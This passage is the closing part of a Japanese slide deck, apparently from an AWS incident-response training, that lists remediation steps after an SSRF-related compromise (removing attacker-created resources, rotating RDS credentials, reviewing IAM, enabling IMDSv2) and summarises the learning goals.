リリース再開に向けた対策 ● 攻撃者によって作成されたAWS環境のリソースを削除 ● Webアプリケーションの脆弱性対策 ● RDSアカウントのパスワード変更 ● IAM関連の見直しや各種AWSリソースの棚卸 ● SSRF攻撃への緩和策としてIMDSv2の導入 【参考】[待望のアプデ]EC2インスタンスメタデータサービスv2がリリースされてSSRF脆弱性等への攻撃に対するセ キュリティが強化されました！ https://dev.classmethod.jp/articles/ec2-imdsv2-release/

まとめ

AWS環境のインシデントレスポンスとは ● AWSの各種サービスへの理解が必要 ● 一般的なITやセキュリティの知識ももちろん必要 ● ハイブリッドで必要になる ● AWSの仕組みで調査しやすい部分もある ● 攻撃者の視点や怪しいポイントの探し方は共通 ● 最新と既存の組み合わせ

学習目標の振り返り ● AWS環境のセキュリティを学ぶ(午前) ● 実践的なAWS環境のインシデント調査を通じて AWS環境での対策を体験し活かす ただツールの使い方を覚えるのではなく考え方を学 んでほしい